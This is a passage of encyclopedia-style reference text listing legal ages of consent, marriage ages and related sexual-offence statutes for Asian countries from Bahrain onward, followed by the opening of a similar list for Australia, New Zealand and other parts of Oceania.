Consensual sex outside of marriage is legally permissible for those aged 21 and above, regardless of gender and/or sexual orientation. If a married individual has sex with somebody they are not married to, the person they are married to is given the liberty, by the criminal procedure code, to file for an 'adultery' charge if they wanted to. They are also given the liberty to drop off the charge after filing it if they wanted to. However, the mentioned options would not be available after three months are passed from when the person learned about the adultery. The marriage of course should be recognized by the government for the mentioned options to be provided.
The marriageable age is 16 years. Before this age, marriage requires authorization from the Shariah Court of the State of Bahrain.
.
The minimum age to marry without permission from the girl's father or legal guardian is 21 years.
Rape is punished by imprisonment. Since 1986, the penalty is either life imprisonment or possibly the death penalty for victims under 16. Non-consent is assumed for unmarried women under 14. According to article 349 of the updated penal code, the death penalty for the rapist is eligible only if the rape causes death for the sexually assaulted female.
The law presumes non-consent of male victims less than 14 too. There is a prison sentence (maximum 10 years) for male victims under 16 (article 346) while article 347 gives an unspecified prison sentence with consenting male victims under 21.
Article 353 specifies:
No penalty shall be inflicted against a person who has committed one of the crimes set forth in the preceding Articles if he was subject to a final court judgement before concluding the marriage, such judgement shall be subject to a stay of execution and its penal effects shall cease.
Bangladesh
According to the section 9 (1) of the Women and Child Abuse Prevention Act, 2003, it is defined as rape to have sexual intercourse with a woman with or without her consent, when she is under fourteen (14) years of age.
Article 375 specifies that “A man is said to commit "rape" who except in the case hereinafter excepted, has sexual intercourse with a woman (5) With or without her consent, when she is under fourteen years of age. (Exception) Sexual intercourse by a man with his wife, the wife not being under thirteen years of age, is not rape.
Bhutan
The age of consent in Bhutan is 18 regardless of gender or sexual orientation, according to Article 183 of the Penal Code of Bhutan.
Brunei
Any kind of sexual activity outside of a heterosexual marriage is illegal in Brunei. The minimum age for marriage is 16.
Article 2 of this Act determines the offence as follows:
Any person who has or attempts to have carnal knowledge (sexual intercourse) of a girl under the age of sixteen (16) years except by way of marriage, shall be guilty of an offense: Penalty, imprisonment for a term which shall not be less than 2 years and not more than 7 years and to whipping not exceeding 24 strokes of the rattan in the case of an adult or 12 strokes of the rattan in the case of a youthful offender.
Cambodia
The age of consent in Cambodia is 15 regardless of gender or sexual orientation. The age of consent in this country is determined by Article 8, of Chapter 4 (Debauchery) of the Law on Suppression of the Kidnapping, Trafficking, and Exploitation of Human Beings, which has been specifically enacted to prohibit sex with children under 15. The law prohibits "debauchery" with a child under 15, and this term (the original Cambodian word is has been interpreted by courts to forbid any form of sexual conduct (both consensual and non-consensual; both 'ordinary' sex and paid sex) with a child under 15. This is the main legal tool used to prosecute foreigners engaging in child sex tourism in Cambodia.
Article 8 of the 'Law on Suppression of the Kidnapping, Trafficking, and Exploitation of Human Beings' states, "Any person who commits acts of debauchery involving a minor below 15 years old, even if there is consent from the concerned minor, or even if the person has bought such minor from someone else or from a pimp, shall be punished by ten (10) to twenty (20) years in prison. In case of repeat offenses, the maximum punishment term shall be applied."
Mainland China
In Mainland China, the age of consent for sexual activity is 14 years, regardless of gender or sexual orientation. Chinese law defines statutory rape as having sex with a girl who is less than fourteen years of age. A five-year prison sentence and fine may result if the girl under 14 years of age was acting as a prostitute. In August 2015, the law concerning underage prostitutes was repealed. The Statutory rape law now applies to underage prostitution as well. Persons with Special Duties towards minor females who have attained the full age of 14 shall be held accountable for rape if they compel the victim engaging in sexual relations with them by taking advantage of their dominant positions or the helpless situations of the victim.
In 2020 there was a proposal to raise the age of consent in the wake of a scandal in the city of Yantai.
In 2021 there was a proposal to criminalize teachers having intercourse with students in primary and junior high levels.
East Timor
The age of consent in East Timor is 14 regardless of gender or sexual orientation, per Article 177. However, sex acts with an adolescent aged 14–15 years are illegal if an adult practices them with the adolescent by "taking advantage of the inexperience" of that adolescent. (Article 178).
Article 177. Sexual abuse of a minor:
Any person who practices vaginal, anal or oral coitus with a minor aged less than 14 years is punishable with 5 to 20 years' imprisonment.
Any person who practices any act of sexual relief with a minor aged less than 14 years is punishable with 5 to 15 years' imprisonment.
Article 178. Sexual acts with an adolescent:
Any person who, being an adult and apart from situations provided in this section, practices any relevant sexual act with a minor aged between 14 and 16 years, taking advantage of the inexperience of the same, is punishable with up to 5 years' imprisonment.
Hong Kong
In Hong Kong the age of consent for sexual activity is 16 regardless of gender or sexual orientation. However, the age of consent for a female receiving anal sex is 21.
Under s.124 of the Crimes Ordinance (Cap.200), a man who has unlawful sexual intercourse with a girl under the age of 16 shall be liable to imprisonment for 5 years. Under s.123 of the Crimes Ordinance, a man who has unlawful sexual intercourse with a girl under the age of 13 shall be liable to imprisonment for life.
Under s.122 of the Crimes Ordinance, a person under the age of 16 cannot in law give any consent which would prevent an act being an assault for the purposes of indecent assault. Hence, a woman who has sexual activity with a boy or a girl under 16 will be prosecuted under this section.
Under s.127 of the Crimes Ordinance, a person who takes an unmarried girl under the age of 18 out of the possession of her parent or guardian against the will of the parent or guardian with the intention that she shall have unlawful sexual intercourse with men or with a particular man shall be guilty of an offence and shall be liable on conviction on indictment to imprisonment for 7 years."
The previous position regarding homosexual couples is contained in s.118C which provides that a man who commits or suffers to commit buggery with a man under the age of 21 is liable on conviction on indictment to imprisonment for life. However, this section was struck down as unconstitutional in Leung TC William Roy v Secretary for Justice. Hence, the age of consent between two males have been effectively equalized with that between a male and a female, which is 16.
Prior to 2012 there was a presumption that a male minor under 14 could not consent to sexual intercourse under any circumstances. The law was changed after a 13-year-old boy attacked a 5-year-old girl at a Chai Wan hospital ward; the prosecution was unable to convict him of rape, instead only able to do so for indecent assault. In 2015 an 11-year-old boy and a 13-year-old boy were arrested after they were found having sex with an 11-year-old girl. Under the new laws they have the possibility of having the maximum sentence of life in prison.
India
India's age of consent for sex is set at 18 years under the Criminal Law (Amendment) Act, 2013, regardless of gender.
In 1892, the marital rape and subsequent death of a 10-year-old girl, Phulmoni Dasi, caused the age of consent to be raised from 10 to 12. In 1949, it was raised to 16 after agitation from women's groups about the adverse effect of early pregnancy. . On 3 April 2014 the Criminal Law (Amendment) Act, 2013 came into effect, which raised the legal permissible age for sexual consent from 16 to 18. Although the Criminal Law (Amendment) Act, 2013 initially sought to lower the age to 16, it was set at 18 due to political pressure from conservative parties. Section 375 reads: A man is said to commit "rape" if he (...) Sixthly – With or without her consent, when she is under eighteen years of age.
Legal action on marital rape
Protection of Children from Sexual Offences Act, 2012 disallows any such sexual relationships and puts such crimes within marriages as an aggravated offense. A Public Interest Litigation filled by Independent Thought, an organization working on child rights law, was heard in the Supreme Court of India for declaring the exception allowing marital rape within prohibited child marriages as unconstitutional: Independent Thought vs. Union of India [W.P(civil) 382 of 2013]. In the judgment, delivered on 11 October, the Supreme Court bench consisting of Justices Madan B. Lokur and Deepak Gupta read down Exception 2 to Section 375 of the Indian Penal Code (IPC) to hold that sexual intercourse by a man with his own wife if she is below 15 years of age would amount to rape. According to Section 375 Exception, Sexual Intercourse by a man with his own wife, the wife not being under 15 years of age, is not rape.
The Section 377 of the Indian Penal Code bans "carnal intercourse against the order of nature". It was used to prosecute people for having anal or oral sex, although prosecutions were rare. The law was constitutionally challenged and subsequently read down by the Delhi High Court in 2009 for violating the human rights of sexual minorities. In 2013, the Supreme Court overturned the Delhi High Court's judgment, recriminalizing homosexuality. However, in 2018, the Supreme Court, on hearing a fresh batch of petitions, declared some parts of the law unconstitutional on the issue, setting the age of consent for consensual homosexual sex at 18, same age for consensual heterosexual sex.
Indonesia
According to the Indonesian Penal Code article 287, the age of consent in Indonesia is 15 years old. The age of consent is the minimum age at which an individual is considered legally old enough to consent to participation in sexual activity. Individuals aged 15 or younger in Indonesia are not legally able to consent to sexual activity, and such activity may result in prosecution for statutory rape or the equivalent local law.
Even though the age of consent is 15 years old, the offender can only be charged and prosecuted if a legal complaint is lodged to the law enforcement. Exception to this law is when the age of the victim is under 12 years old, or under certain circumstances such as bodily injury or incest. Stipulated a minimum sentence of 12 years for sexual intercourse with females under the age of 12.
However, under the Child Protection Act, the age of consent could be raised to 18. The argument used is that sexual acts with a child could result in bodily and mental injury, while the definition of a child is anyone who is under 18 years old. A reported court verdict using the Child Protection Act was done in 2009 against an Australian national.
The age of consent for a homosexual activity is 18 years old in Indonesia, same for a heterosexual activity.
Iran
Sex outside of marriage is illegal in Iran. The minimum age of marriage in Iran is 15 for men and 13 for women. Ways around these regulations include temporary marriages (Nikah mut‘ah). With the permission of a court, girls may marry at a younger age. In 2010, as many as 42,000 children aged between 10 and 14 were married, and 716 girls younger than 10 had wed.
Iraq
The age of consent in Iraq is set at 18, regardless of gender and/or sexual orientation. "Any person who sexually assaults a boy or girl under the age of 18 without the use of force, menaces or deception is punishable by detention..."
"Any person who has sexual intercourse with a female relative to the third generation under the age of 15 with her consent and the offence leads to her death, to pregnancy or loss of virginity [is punishable by jail]."
Israel
According to the Israeli Penal Code of 1977 the age of consent in Israel is 16 regardless of gender or sexual orientation, for any form of sexual relations involving penetration (unless the person above 16 is the one being penetrated - in that case the age of consent is 14). In all cases that don't involve penetration, the age of consent is 14 (for both heterosexual and homosexual activities). A special case arises when a person aged 14 or 15 had sexual relations with an older partner; in this case the older partner would be exempt of criminal liability if three conditions are met: the age difference between the partners was less than three years, the younger partner gave consent and the act was done out of "regular friendly relations" and without the abuse of power.
Japan
In June 2023, the Penal Code was amended to raise the age of consent from 13 to 16 for the first time in 116 years. All prefectures in Japan had already effectively set the age of consent higher, but the amendment to the Penal Code eliminates the need to prove that the victim was deprived of the means of resistance through assault or threats in order to prosecute the perpetrator, allowing prosecution simply because the victim did not consent to sexual intercourse. One exception to the new Penal Code is that a person who has sexual intercourse with a person between the ages of 13 and 15 will only be punished if that person is at least five years older than the person who committed the sexual act. The statute of limitations for a victim to prosecute a perpetrator has also been raised from 10 to 15 years.
Under the 1907 Penal Code, the age of consent was 13. Until 2017, article 176 ('Forcible Indecency') stipulated a penalty of 6 months to 10 years of imprisonment for "indecent acts" committed upon males and females under the age of 13, and Article 177 ('Rape') stipulated a minimum sentence of 3 years for sexual intercourse with females under the age of 13. In 2017, Article 177 was amended to specify vaginal, anal, and oral intercourse and expanded to include all persons (male and female) under 13. The amendment also increased the minimum prison sentence from 3 years to 5 years.
Several national and local laws further regulate adolescent sexual acts. The anti-prostitution clause of the national forbids "causing" individuals under 18 to perform sexual acts through direct or indirect physical or psychological pressuring, but does not prohibit otherwise-consensual acts. An array of local ordinances adopted in all 47 prefectures known as forbid sexual acts judged between adolescents (persons under 18) and adults; the laws do not punish sexual acts solely between adolescents. A 1985 decision of the Supreme Court of Japan on Fukuoka Prefecture's bylaw held that the ordinances were not to be broadly interpreted as forbidding all adult–adolescent sexual acts, but rather narrowly interpreted as forbidding those acts "conducted by unfair means that take advantage of the juvenile's mental or physical immaturity, such as by enticing, threatening, deceiving, or confusing, as well as [acts] where the juvenile is treated merely as an object to satisfy one's own sexual desires." The court also ruled that adult–adolescent sexual acts within "socially accepted norms", such as those within marriage, engagement, or a "similar sincere relationship", were not "indecent". As of 2004, about 1,000 offenses by adults are punished annually under the bylaws; a typical penalty is a ¥300,000 fine and a suspended sentence.
Jordan
The age of consent in Jordan is set at 18 years old, regardless of gender and/or sexual orientation, according to the country's penal code.
Kazakhstan
The age of consent in Kazakhstan is 16, according to article 122 of the Crime Criminal Code.
Article 122. Sexual Intercourse and Other Actions of a Sexual Character with a Person Under Sixteen Years of Age Sexual intercourse, sodomy, or lesbianism or other acts of sexual nature, with a person who did not reach sixteen years of age, the guilty party being aware of that fact, shall be punished by restriction of freedom for a period up to three years, or by detention under arrest for a period up to six months, or deprivation of freedom for a period up to five years.
Kuwait
Sexual activity outside marriage is illegal in Kuwait. The marriageable age is 15 for girls and 17 for boys.
Kyrgyzstan
The age of consent in Kyrgyzstan is 16, regardless of gender or sexual orientation. This is established by Article 132 of the penal code, and only applies to offenders over age 18.
Article 133 forbids "lecherous actions" against persons below 14 committed without violence. Anyone aged 16 (the general age of criminal responsibility) or above can be punished under this section.
Laos
The age of consent in Laos is 15 regardless of gender or sexual orientation. Article 129 of the Laos Penal Code provides for a penalty of 1–5 years' imprisonment and a fine of 2–5 million kip.
Lebanon
The age of consent for sex in Lebanon is 18 for both males and females in regardless of gender or sexual orientation.
Article 505 of the Penal Code states, "Whoever commits a sexual act with a minor of less than fifteen (15) years, shall be punished with hard labor of up to fifteen (15) years. This penalty shall be for a minimum of five (5) years, if the victim has not attained the age of twelve (12) years. And whoever commits a sexual act with a minor aged more than fifteen (15) years but less than eighteen (18) years, shall be punished by imprisonment for a period varying between 2 months and 2 years."
Macau
The general age of consent in Macau is 14, regardless of gender or sexual orientation. Although people under the age of 18 years are considered minors, the Criminal Code does not criminalize sex with people older than 16 years of age (except in the specific case of minors aged 16 to 18 years old entrusted to an adult for education or assistance purposes whom have abused such position (article 167/1(b) of the Macau Criminal Code)).
Sex with minors younger than 14 years old is more severely punished (1 to 8 years' imprisonment) than with minors aged 14 to 16 years old (up to 4 years' imprisonment if the perpetrator abused the minor's inexperience). Anal sex, irrespective of the gender or orientation of the participants (male-male, female-female, male-female), has an aggravated punishment (3 to 10 years of jail if practiced with a minor under the age of 14 and up to 4 years if practiced with an older minor).
Malaysia
The de facto age of consent for heterosexual sex in Malaysia is 16 for both sexes, as homosexual activity in Malaysia is illegal.
Under the Malaysian Penal Code (Act 574), Section 375, the specified age is 16;
However, Article 17 the Sexual Offenses Against Children Act of 2017 makes any sexual touching of a child (defined as under 18 years) punishable by up to 20 years imprisonment.
Maldives
Sexual activity outside marriage is illegal in Maldives. The legal age of marriage is 18 for both males and females.
Mongolia
The age of consent in Mongolia is 16, regardless of gender or sexual orientation.
Myanmar
The age of consent in Myanmar is 16. It was raised from 14 with the amendment of the Myanmar Penal Code section 375, paragraph 5 in 2016.
If married, the legal age is now 15.
Nepal
The age of consent in Nepal is 16 regardless of gender or sexual orientation.
North Korea
The age of consent in North Korea is 15. Article 153 of the criminal law states that a man who has sexual intercourse with a girl under the age of 15 shall be "punished gravely."
Oman
Sexual activity outside marriage is illegal in Oman.
Pakistan
Sexual activity outside marriage is illegal in Pakistan. The normal minimum legal age for marriage is 18 for both sexes.
Palestine
Gaza Strip
In the Gaza Strip, any kind of sexual activity outside marriage is illegal.
West Bank
The age of sexual consent is the same as in Jordan. Consensual sex is legal at the age of 18 years regardless of gender.
Philippines
The minimum age for consensual sex is set at 16 years, regardless of gender and/or sexual orientation. There is a close in age exemption for children aged 13–15 if their partner is less than three years older.
Until 2022, the age of consent was 12. Sexual intercourse with a person under the age of 12 was defined as rape, under Chapter 3, Article 266 of the Anti-Rape Law of 1997.
However, while consensual sex with a person under age 18 is not statutory rape, it is still a violation of the law if the child is found to be "exploited in prostitution or subject to other sexual abuse". Under Republic Act No. 7610, a child is defined as a person below 18 years of age and the law reads:
"Other sexual abuse" requires "some form of compulsion equivalent to intimidation". The courts have specified that "influence" means "improper use of power or trust in any way that deprives a person of free will and substitutes another's objective".
Although it does not specifically deal with sexual activity, Article VI, Section 10 of Republic Act 7610 can be considered to establish a de facto maximum close in age exception of 10 years for minors aged 12 to 17 years.
Articles 337–338 of the same Anti-Rape Law of 1997 specifies the crime of "simple seduction"; this requires gaining the consent of a 12-17-year-old through the use of deceit (generally a false promise of marriage), and Article 343 that defines eloping with a girl 12–18 as consented abduction, which is also outlawed.
Several proposals have been made to increase the age of sexual consent from the current 12 to 18 years old in the 2010s. In 2020, the Philippine House of Representatives Committees on Revision of Laws and Welfare of Children passed a proposal to raise it to 16. In September 2021, the Philippine Senate unanimously voted in favor of the age of consent bill, with 22 senators backing it and an abstention by one senator, and President Rodrigo Duterte signed the Senate proposal into law in March 2022.
Qatar
Any kind of sexual activity outside marriage is illegal. According to the Family Act, the minimum age of marriage is 18 for boys and 16 for girls. The court may allow a marriage below the minimum age, but it requires the consent of the legal guardian as well as the consent of the two persons to be married.
Saudi Arabia
Any kind of sexual activity outside marriage is illegal in Saudi Arabia. In 2019, Saudi Arabia officially banned all marriages under the age of 18 for both men and women. The Saudi Shura Council had outlawed marriages under the age of 15, and required court approval for those under 18. In accordance with the Child Protection Law, the law has a provision that states "Before the conclusion of the marriage contract, it is necessary to ensure that a person marrying under the age of 18 will not be harmed, whether male or female."
Singapore
The general age of consent in Singapore is set at 16, regardless of gender and/or sexual orientation. However, where there is a relationship of trust, authority or dependency, the age of consent is 18. The relationship must not be exploitative of the younger person.
In addition, Sections 375, 376, 376A, 376AA, 376EA, 376EC, 376EE, 377BL and 377D criminalize sexual activity with individuals below the age of 18 if the relationship is deemed exploitative of the younger person. Section 377CA stipulates that the court can determine if such a relationship is exploitative depending on the "circumstances of each case" - including age gap between the accused and the youth, the nature of the relationship, and the degree of control or influence exercised by the accused person over the minor. It also stipulates that - unless the accused is married to the younger partner - such relationships will be deemed exploitative until proven otherwise, if:
(a) the accused person is the parent, step-parent, guardian or foster parent of the minor;
(b) the accused person is the de facto partner of the parent, guardian or foster parent of the minor;
(c) the accused person is a member of the teaching or management staff of the school or educational institution at which the minor is a student;
(d) the accused person has an established personal relationship with the minor in connection with the provision of religious, sporting, musical or other instruction to the minor;
(e) the accused person is a custodial officer of an institution in which the minor is detained;
(f) the accused person is a registered medical practitioner, a registered traditional Chinese medicine practitioner or a psychologist and the minor is a patient of the accused person;
(g) the accused person is an advocate and solicitor or a counsellor and the minor is a client of the accused person.
In addition, Section 376B criminalizes commercial sexual activity with youth under 18 - regardless of whether it occurs within or outside Singapore. Section 376D also further criminalizes attempting to travel outside Singapore for the purposes of committing such actions outside Singapore.
Homosexuality between females was decriminalized in 2007, and on November 29, 2022, Parliament of Singapore repealed section 377A of the Penal Code and decriminalized homosexuality between males.
South Korea
In South Korea, sexual activity with a person under the age of 16 (in international age, not "Korean age") is considered statutory rape, unless the other party is under 19. Sex with a child under 13 is considered statutory rape under all circumstances. Prior to 2020 the age of consent in South Korea was 13.
By 1894, extramarital sex was punished by being cudgeled 90 times, which could lead to death. It is difficult to confirm how the Age of Consent Act of 1894-1910 was enforced.
Sri Lanka
The age of consent in Sri Lanka is 16 regardless of gender or sexual orientation. However, girls belonging to Sri Lanka's Moor and Malay minorities representing approximately 10% of the national population are allowed to marry after 12 years of age and below the age of 12 with the approval of the religious leader, Moulavi and either father, brother, uncle, grandfather.
(...)
(e) with or without her consent when she is under sixteen years of age, unless the woman is his wife who is over twelve years of age and is not judicially separated from the man.
365B. (1) Grave sexual abuse is committed any person who, for sexual gratification, does any act, by the use of his genitals or any other part of the human body or any Instrument on any orifice or part of the body of any other person, being an act which does not amount to rape under section 363, in circumstances falling under any of the following descriptions, that is to say:
(a) without the consent of the other person;
(aa) with or without the consent of the other person when the other person is under sixteen years of age;
(...)
Syria
The age of consent in Syria is 15, per Article 491.
Article 491:
1. Every person who has sexual intercourse with a minor under 15 years of age shall be liable to a term of nine years' imprisonment at hard labour.
2. The said term shall be not less than 15 years if the child is under 12 years of age.
Taiwan
The age of consent in Taiwan is 16 regardless of gender. The sentence is reduced or exempted if the offender is under 18. Also, if the offender is under 18, it's an offense indictable only upon a complaint. The penalties for having consented sexual intercourse with minors are separated into 2 age ranges, with those under 14 subject to 3 to 10 years, and those between 14 and 16 subject to a maximum of 7 years. Note that since such cases with "offenders" under 18 are indictable only upon complaint, practically if both parties are under 16, parents most likely would not press charges in fear of the fact that if one side sues, the other side may sue as well resulting in both minors being sentenced.
Tajikistan
The age of consent in Tajikistan is 16, as specified in article 141 of the Criminal Code. The penalty is specified as deprivation of freedom for 2 to 5 years.
Article 141. Sexual Intercourse And Other Actions of Sexual Character With an Individual Under 16 Years of Age
"(1) Sexual intercourse, homosexuality or lesbianism committed by an individual at the age of 18 years with an individual under 16 years of age when there are no elements of the crime stipulated by Article 138 and Article 139 of the present Code, is punishable by deprivation of freedom for a period of 2 to 5 years."
Articles 138 and 139 provide harsher penalties for Rape and Forcible sex against minors, including the possible death penalty for rape of a girl under 14.
Thailand
The age of consent in Thailand is 15 regardless of gender or sexual orientation, as specified by article 279 of the Thai Criminal Code. The current legislation applies to all regardless of gender or sexual orientation.
However, parts of the Prevention and Suppression of Prostitution Act, which disallow any sexual contact with prostitutes under the age of 18, are widely interpreted by some local authorities to cover sexual acts classed as "obscenity for personal gratification". However, the Penal Code Amendment Act of 1997 (Section 283 bis) implies this to be within the context of sexual trafficking. A high-profile example of this application of the law was a statutory rape charge filed against the lead singer of the Thai band Big Ass for allegedly having had sex with a (then) 16-year-old girl. The charge was filed by the girl after the singer refused to take responsibility for her baby. The singer has since been cleared of being the baby's father due to the results of a paternity test and he received 2 years suspended sentence.
Turkey
The age of consent in Turkey is 18.
According to Article 104 of the Turkish Penal Code (Türk Ceza Kanunu), sexual intercourse with minors aged 15, 16 and 17 can only be prosecuted upon a complaint.These complaints require the intention of the youth over the age of 15 and not the parents. However, if the offender is a person who is forbidden to marry the child by law or is a person who is obliged to take care of the child due to adoption or foster care, then the prosecution doesn't require a complaint and the punishment is aggravated.
Article 103 regulates any kind of sexual activity with minors under 15 (or minors under 18 who lack the ability to understand the legal meanings and consequences of such actions) as child sexual abuse.
History
The Ottoman Empire, a predecessor state to the Republic of Turkey, decriminalized sodomy in 1858. The age of consent in Turkey was set at 15 for both heterosexual and homosexual sex in the 1926 penal code, but this was raised to 18 in 1953. The new penal code of 2004 also set the age of consent for both heterosexual and homosexual sex at 18, with some differences, such as the act of having sexual intercourse with a minor over 15 being punishable upon a complaint.
Turkmenistan
The age of consent in Turkmenistan is 16.
United Arab Emirates
Sexual activity outside marriage is illegal in the United Arab Emirates. The legal age for marriage is 18 for both sexes.
In 2020, United Arab Emirates decriminalized sex outside of marriage. Consensual sex will be punished by the law if the victim, male or female, is under 18 years of age, or if the victim is deprived of their will due to their young age, insanity or mentally challenged or if the culprit is a first degree relative of the victim or responsible for their upbringing or usual care or has an authority of the minor victim. However, in November 2021, the country have instated a new penal code that reintroduces the criminalization of consensual sex outside of marriage, which had been dropped from the older law as part of the 2020 amendments.
A person convicted of committing sexual intercourse with a minor or mentally challenged person by force would be punished by the death penalty.
Uzbekistan
The age of consent in Uzbekistan is 16 for heterosexual sex as well as for homosexual activities not amounting to anal sex, which is illegal regardless of age and punishable with imprisonment for up to three years (called Besoqolbozlik).
Sexual relations with a person under sixteen (16) years of age, Clause 128 of the Criminal Code: (1) A sexual relation or satisfaction of sex requirements in the unnatural form with a person who was obviously less than sixteen (16) years old, shall be punished by corrective labour measures for up to two (2) years or by the arrest up to six (6) months, or with imprisonment for up to three (3) years.
Vietnam
The 2015 Penal Code indicates that the age of consent in Vietnam is 16 regardless of gender or sexual orientation.
Article 145 criminalizes sexual activity with those aged 13–15 in situations not amounting to rape (article 142 - requires threat or violence) or sexual abuse (article 144 - employing "trickery" to make a 13-15-year-old who is the offender's care-dependent or a person in extreme need "reluctantly engage in sexual intercourse or other sexual activities").
Yemen
Any kind of sexual activity outside marriage is illegal in Yemen. Until recently, Yemeni law set the age of marriage at 15. However, that law has been eradicated. Now, "Yemeni law allows girl of any age to wed, but it forbids sex with them until the indefinite time they are suitable for sexual intercourse.'" In 1999, the minimum marriage age of fifteen for women, rarely enforced, was abolished; the onset of puberty, interpreted by ulama to be at the age of nine, was set as a requirement for consummation of marriage.
In April 2008, the case of Nujood Ali, a 10-year-old girl who successfully obtained a divorce, sparked headlines around the world, and prompted calls to raise the legal age for marriage to 18. Later in 2008, the Supreme Council for Motherhood and Childhood proposed to define the minimum age for marriage at 18 years. The law was passed in April 2009, but dropped the following day following maneuvers by opposing parliamentarians. Negotiations to pass the legislation continue.
See also
Age of consent reform
Age of consent
Ages of consent in Africa
Ages of consent in Europe
Ages of consent in North America
Ages of consent in Oceania
Ages of consent in South America
Comprehensive sex education
LGBT rights in Asia
Sex education
Notes
References
Law-related lists
Asia
Adolescent sexuality in Asia
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https://en.wikipedia.org/wiki/Ages%20of%20consent%20in%20Oceania
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Ages of consent in Oceania
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The ages of consent for sexual activity vary from age 15 to 18 across Australia, New Zealand and other parts of Oceania. The specific activity and the gender of its participants is also addressed by the law. The minimum age is the age at or above which an individual can engage in unfettered sexual relations with another person of minimum age. Close in age exceptions may exist and are noted where applicable. In Vanuatu the homosexual age of consent is set higher at 18, while the heterosexual age of consent is 15. Same sex sexual activity is illegal at any age for males in Papua New Guinea, Kiribati, Samoa, Niue, Tonga and Tuvalu; it is outlawed for both men and women in the Solomon Islands. In all other places the age of consent is independent of sexual orientation or gender.
Scope: all jurisdictions per list of sovereign states and dependent territories in Oceania.
Australia
Australia is a federation of States and Territories, with each State and Territory having the primary jurisdiction over age of consent issues within its territory. However, as a result of the international affairs power under Australia's constitution, a 1997 United Nations Human Rights Committee ruling has resulted in States repealing rules that differentiated between homosexual and heterosexual people on age of consent issues.
Regulations by state
Federal laws
Under federal legislation that applies to all Australians, it is an offence for an Australian citizen, resident or body corporate while outside of Australia to have sexual intercourse with a person under the age of 16 or to induce a child under the age of 16 to have sexual intercourse, or be somehow involved in a similar sexual act.
Sex between consenting adults (18 or over) in private, regardless of gender or sexual orientation cannot be outlawed under section 4 of the Human Rights (Sexual Conduct) Act 1994.
Australian Capital Territory
It is an offence in the Australian Capital Territory to have sexual intercourse with a person under the age of 16. However, it is a defence if the younger party was aged 10 years or older and the offender was not more than 2 years older than the younger party. It is also an offence to have sexual intercourse with a person under the age of 18 if that person is under the care of the offender (guardian, teacher etc.).
Coral Sea Islands Territory
The laws of the Australian Capital Territory apply to the Coral Sea Islands Territory.
New South Wales
It is an offence in New South Wales to have sexual intercourse with a person under the age of 16 or attempt such an offence. It is also an offence to have sexual intercourse with a person under the age of 18 if that person is under the care of the offender (guardian, teacher, etc.). There is a close-in-age defence that allows those aged 14 and 15 to consent to sex with those less than two years older. This defence was added as section 80AG as part of the Criminal Legislation Amendment (Child Sexual Abuse) Act 2018 No 33.
Norfolk Island
It is an offence in Norfolk Island for a person to have sexual intercourse or commit an act of indecency with a person under the age of 16. The Australian Government has proposed to introduce a new offence of sexual intercourse with a young person under special care based on the law in the Australian Capital Territory.
Northern Territory
It is an offence in the Northern Territory to have sexual intercourse with a person under the age of 16, or attempt such an offence. It is also an offence to have sexual intercourse with a person under the age of 18 if that person is under the care of the offender (guardian, teacher etc.).
Queensland
The age of consent in Queensland is 16 and there is no close-in-age exception. It is illegal to have carnal knowledge of a person under the age of 16. "Carnal knowledge" includes all types of sexual activity. Legislation in September 2016 lowered and equalised the age of consent for anal sex to 16.
South Australia
It is an offence in South Australia to engage in any activity which involves fellatio, cunnilingus or placing any part of the body within the labia majora, vagina or anus of a person under the age of 17 unless they are lawful spouses. The Australian Marriage Act can permit someone who is 18 or over to marry a 16-year-old. But, it is a defence if the person is 16 at the time of the offence and either the offender is under 17 years of age or believe on reasonable grounds that the other person is 17 or older. It is also an offence to have sexual intercourse with a person under the age of 18 if that person is under the care of the offender (guardian, teacher etc.).
Tasmania
It is an offence in Tasmania to have sexual intercourse with a person under the age of 17. However, it is a defence if the younger person was aged 12 years or older and the offender was not more than 3 years their senior or, if the younger person was of or above 15 years and the offender was not more than 5 years their senior.
Victoria
It is an offence in Victoria to sexually penetrate a person under the age of 16. However, it is a defence if the younger party was aged 12 years or older and the offender was not more than 2 years older than the younger person, or they were married. It is also an offence for a person having the care of a person under the age of 18 (guardian, teacher etc.) to sexually penetrate that person. A person under the age of 18 is not allowed to work as a prostitute nor to be in a brothel.
Western Australia
It is an offence in Western Australia to sexually penetrate a person under the age of 16. It is also an offence for a person in a position of authority over a person under the age of 18 to have sex with that person.
Clipperton Island (France)
The laws of France where applicable apply. (These specify a general age of consent of 15.)
Cook Islands
The age of consent is set at 16 years in Cook Islands, regardless of gender and/or sexual orientation.
Laws passed on decriminalizing homosexuality
The new bill that took effect on June 1, 2023, officially decriminalized homosexuality in Cook Islands.
Easter Island (Chile)
Federated States of Micronesia
The states’ statutory rape laws apply to children age 13 and below in Yap and Kosrae and age 15 and below in Pohnpei. The age of consent in Chuuk state is 18. The age of consent in Chuuk was raised due to campaigning led by Chuuk Women's Council.
Fiji
Under the Crimes Decree of 2009, the age of consent in Fiji is 16, regardless of sexual orientation and/or gender. The relevant article is 215 - defilement of young persons between 13 and 16 years of age.
French Polynesia (France)
The laws of France where applicable apply. (These specify a general age of consent of 15.) See Ages of consent in Europe#France.
Juan Fernández Islands (Chile)
Kiribati
The age of consent in Kiribati is 15 (sections 133, 134 & 135), but homosexual sex is illegal at all ages (sections 153, 154 & 155). Furthermore, section 132 prohibits taking a girl under 18 out of the care of her parents or guardian for the purpose of sexual intercourse, while section 136 prohibits procuring a girl under 18 for sexual intercourse.
Marcus Island (Japan)
Marcus Island is administratively under the government of Tokyo.
Marshall Islands
The age of consent in Marshall Islands is 16. Section 152(A) of the Criminal Code provides that anyone engaging in sexual penetration with a person under 16 is liable to imprisonment for up to 25 years.
Nauru
In Nauru it is an offence under the Crimes Act 2016, Division 7.3 to engage in sexual intercourse with a person under the age of 16. Consent is not a defence unless the younger party was aged 13 years or older and the offender was not more than 2 years older than the younger person.
New Caledonia (France)
New Caledonia has a civil law system based on French law; the 1988 Matignon Accords grant substantial autonomy to the islands.
New Zealand
It is an offence in New Zealand to have a sexual connection with a person under the age of 16. It is a defence if due diligence had been undertaken by the defendant to ascertain the victim's age, had reasonable grounds to believe the victim was aged 16 or over and consent was given. Further it is an offence for a person to have a sexual connection with a person under the age of 18 if the defendant is in a guardianship role (parent, stepparent, foster parent, guardian, uncle, aunt or other members of extended family, whanau or other power or authority or responsibility for care or upbringing). The age of consent for girls had earlier been 12 years, and was progressively raised to 16 years in the late 19th century.
The age of consent for prostitution in New Zealand is higher. Although prostitution is legal, under the Prostitution Reform Act 2003 it is illegal to procure or receive sexual services from any person under 18.
New Zealand has had a uniform and equal age of consent of 16, regardless of sexual orientation and/or gender since the passage of the Homosexual Law Reform Act 1986.
